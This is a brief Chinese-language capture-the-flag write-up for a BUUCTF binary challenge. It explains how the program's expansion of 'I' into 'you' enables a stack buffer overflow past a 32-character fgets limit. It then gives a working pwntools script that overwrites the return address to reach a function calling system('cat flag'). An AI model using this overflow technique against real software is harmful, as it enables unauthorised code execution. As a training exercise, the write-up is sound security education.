1.checksec
2.ida后shift+f12发现敏感字符串cat flag,说明这里是调用了system的
点进去记住这个地址8048F13(或者该函数的起始地址0x8048F0D也行)
点进主函数查看发现只有一个函数vuln(),再点进去如下:
转成汇编后发现s距离ebp为0x3c,但fgets()只读32个字符,不能直接输入0x3c个字符溢出到ebp,但后面会把读出的字符中的"I"转换为"you",所以可以向s输入20个"I",然后20个"I"会转换为20个"you",也就是0x3c(60)个字符,之后输入随便4个字符覆盖ebp溢出到返回地址0x就可以得到flag
故exp如下:
from pwn import*
p=remote('node4.buuoj.cn',25425)
payload=b'I'*20+b'a'*4+p32(0x8048F0D)
p.sendline(payload)
p.interactive()
最后直接得到flag